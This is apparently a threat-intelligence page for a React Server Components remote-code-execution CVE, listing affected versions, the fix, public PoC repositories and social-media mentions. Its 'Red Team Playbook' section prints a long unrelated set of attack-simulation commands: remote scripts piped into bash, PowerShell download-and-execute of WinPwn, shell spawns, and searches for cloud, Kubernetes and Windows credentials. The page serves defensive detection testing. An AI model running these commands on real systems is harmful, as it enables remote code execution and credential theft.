CVE-2026-126187
Overview
This vulnerability is a remote code execution flaw arising from improper handling of multiple typed arrays combined with attacker-controlled values in the React Server Components feature. The root cause lies in the deserialization process within the react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack packages, which incorrectly processes crafted payloads containing multiple typed arrays. This flaw affects React versions from 19.0.0 up to but excluding 19.0.9, 19.1.10, 19.2.9, and 19.3.1, specifically targeting the server-side rendering components supporting React Server Components.
Vulnerability Description
React is a JavaScript library for building user interfaces. From 19.0.0 until 19.0.9, 19.1.10, 19.2.9, and 19.3.1, the react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack packages are vulnerable to unauthenticated remote code execution through crafted payloads targeting frameworks that support React Server Components. The vulnerability only affects extremely rare cases where responses transport multiple typed arrays and an attacker-controlled value. Applications whose React code does not use a server are not affected. Applications that do not use a framework, bundler, or bundler plugin that supports React Server Components are not affected. This issue is fixed in versions 19.0.9, 19.1.10, 19.2.9, and 19.3.1.
Impact
An unauthenticated attacker can remotely execute arbitrary code on the server hosting the vulnerable React Server Components, enabling full system compromise without requiring any user interaction or authentication. This can lead to unauthorized access to sensitive data, disruption of application services, and potential lateral movement within the network. The vulnerability is exploitable only in rare scenarios where the application uses React Server Components with specific bundlers that support them, increasing the likelihood of critical business impact in affected environments.
Solution
Upgrade the React package to versions 19.0.9, 19.1.10, 19.2.9, or 19.3.1 or later, where this vulnerability is resolved. Refer to the official React security advisory GHSA-xqc2-xf4c-x3h3 at https://github.com/react/react/security/advisories/GHSA-xqc2-xf4c-x3h3 for detailed patch instructions and additional context. No vendor-recommended workarounds are documented; immediate patching is advised for affected deployments using react-server-dom-webpack, react-server-dom-parcel, or react-server-dom-turbopack packages.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
briskets/CVE-2026-126187-poc
CVE-2026-126187 Unauthenticated RCE in React Server Components - PoC and Docker lab for GHSA-xqc2-xf4c-x3h3 / GHSA-673q-...
|
briskets | 32 | 9 | 2026-11-08 | View |
|
TahuCryptsi/poc-cve-2026-126187-rsc-usecache-rce
PoC: unauth RCE via Next.js use-cache typed-array framing desync (CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3) | docker compos...
|
TahuCryptsi | 3 | 0 | 2026-11-12 | View |
|
rudSarkar/GHSA-673q-mjm6-r5xr
Dockerized remote RCE PoC for GHSA-673q-mjm6-r5xr (Next.js use cache / React Flight, CVE-2026-126187): one unauthenticat...
|
rudSarkar | 0 | 0 | 2026-11-11 | View |
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
43%
|
Medium | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (23)
23 mentions from 15 sources in the last 7 days BuzzFactor 68 / 100
-
social bsky.app @undercodenews.bsky.social 2026-11-13 04:37 UTCCritical React Server Components Vulnerability CVE-2026-126187 Enables Unauthenticated Remote Code Execution Through Flight Row Smuggling + Video CRITICAL SECURITY ALERT Unauthenticated RCE A critical security vulnerability affecting React…Open source
-
social bsky.app @hendryadrian.bsky.social 2026-11-13 04:12 UTCStep Security reports CVE-2026-126187, a critical unauthenticated RCE in React Server Components under shared-ArrayBuffer transfer preconditions. A lab reproduced Flight row smuggling; fixes are 19.0.9, 19.1.10, 19.2.9 and 19.3.1.Open source
-
other ksrc.karenit.net 2026-11-12 19:37 UTCOpen source
-
social bsky.app @stackwatch.de 2026-11-12 10:38 UTCReact CVE-2026-126187, CVSS 9.5: Fix react-server-dom-* 19.0.9 / 19.1.10 / 19.2.9 / 19.3.1, Next.js 16.x 16.4.1. Kein Workaround, nur das Update. Nur Browser-React: nicht betroffen. Prüfen: npm ls next stackwatch.de/blog/react-cve-2026-126…Open source
-
social bsky.app @unnchain.bsky.social 2026-11-12 03:41 UTC続報:この件にCVE番号(CVE-2026-126187)が付き、攻撃コード(PoC)も公開されました。CVE番号で検出するスキャナーでも見つかるようになったので、まだ更新していない人は今のうちに。 https://github.com/advisories/GHSA-xqc2-xf4c-x3h3Open source
-
code github.com TahuCryptsi 2026-11-12 01:43 UTCTahuCryptsi/poc-cve-2026-126187-rsc-usecache-rceOpen source
-
social bsky.app @vulnsea.com 2026-11-11 22:04 UTC🌊 ABYSSAL · critical with a public exploit CVE-2026-126187: React: Unauthenticated Remote Code Execution in React Server Components CVSS 9.5 https://vulnsea.com/cve/CVE-2026-126187 #CVE #infosec #cybersecurity #threatintelOpen source
-
code github.com rudSarkar 2026-11-11 21:22 UTCrudSarkar/GHSA-673q-mjm6-r5xrOpen source
-
social mastox.eu @116996372580318764 2026-11-11 20:06 UTC🚨 Public exploit code is out for CVE-2026-126187, a critical unauthenticated Remote Code Execution (RCE) vulnerability affecting React Server Components and certain Next.js applications. Scored CVSS 9.5, the flaw could allow remote attacke…Open source
-
social bsky.app @trustlist.bsky.social 2026-11-11 19:56 UTCSecurity advisories 16/23 React fixes critical remote code flaw in its Server Components packages CVE-2026-126187 scores 9.5 under CVSS 4.0 and needs no login. #infosec #cybersecurity trustlist.uk/security-advisorie…Open source
-
social bsky.app @andregironda.bsky.social 2026-11-11 19:24 UTCReact Server ComponentsにCVSS 9.5の認証不要RCE脆弱性CVE-2026-126187。修正版4系統を公開 joho-todai.com/react-server...Open source
-
social mastox.eu @116996372580318764 2026-11-11 16:47 UTC🚨 CRITICAL: React Server Components have another unauthenticated Remote Code Execution vulnerability. And there's already a public PoC. CVE-2026-126187 carries a CVSS 4.0 score of 9.5 and exposes vulnerable React Server Components implemen…Open source
-
social infosec.exchange @116810780845358081 2026-11-11 16:46 UTCCVE-2026-126187: Critical unauthenticated RCE in React Server Components. A newly disclosed vulnerability in React Flight serialization allows remote attackers to exploit improper length framing and deserialization handling to trigger Serv…Open source
-
social bsky.app @thecybersecguru.com 2026-11-11 16:44 UTCReact Server Components Just Got an Unauthenticated RCE: Breaking Down CVE-2026-126187 CVE-2026-126187 is a 9.5 CVSS unauthenticated RCE in React Server Components. See how a detached buffer and forged thenable break Next.js… https://thecy…Open source
-
other thecybersecguru.com 2026-11-11 16:44 UTCReact Server Components Just Got an Unauthenticated RCE: Breaking Down CVE-2026-126187 CVE-2026-126187 is a 9.5 CVSS unauthenticated RCE in React Server Components. See how a detached buffer and forged thenable break Next.js Cache Componen…Open source
-
social infosec.exchange @116797276219291526 2026-11-11 06:43 UTCUpdate React Server Components to version 19.3.1 now to fix CVE-2026-126187, a critical 9.5 CVSS unauthenticated remote code execution vulnerability. # React # ReactServerComponents # WebSecurity # Cybersecurity # InfoSec https:// meterpre…Open source
-
social bsky.app @securityonline.bsky.social 2026-11-11 06:43 UTCUpdate React Server Components to version 19.3.1 now to fix CVE-2026-126187, a critical 9.5 CVSS unauthenticated remote code execution vulnerability. #React #ReactServerComponents #WebSecurity #Cybersecurity #InfoSecOpen source
-
social bsky.app @johonotodai.bsky.social 2026-11-11 01:42 UTCReact Server ComponentsにCVSS 9.5の認証不要RCE脆弱性CVE-2026-126187。修正版4系統を公開Open source
-
social bsky.app @stackflag.bsky.social 2026-11-11 01:20 UTCCVE-2026-126187 - react-server-dom-parcel Versions of the react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack packages can be tricked into running malicious code if an… Too many irrelevant or confusing CVEs? U…Open source
-
social bsky.app @stemshop.bsky.social 2026-11-11 00:13 UTC🚨 CVE-2026-126187 — CVSS 9.5 CRITICAL React is a JavaScript library for building user interfaces. From 19.0.0 until 19.0.9, 19.1.10, 19.2.9, and ... 🔎 https://stemshop.top/cve/CVE-2026-126187 #CVE #CyberSecurity #InfoSecOpen source
-
social bsky.app @eventmonitor.bsky.social 2026-11-10 23:30 UTCDeveloping: Critical React Vulnerability (CVE-2026-126187) https://cyber.eventmonitor.net/incident/EM-20261110-PA7K/critical-react-vulnerability-cve-2026-126187/ #news #cybersecurityOpen source
-
news stepsecurity.io 2026-11-10 08:00 UTCCVE-2026-126187: React Server Components Flaw Lets Attackers Execute Code Through Smuggled Flight Rows - Step SecurityOpen source
-
code github.com briskets 2026-11-08 22:51 UTCbriskets/CVE-2026-126187-pocOpen source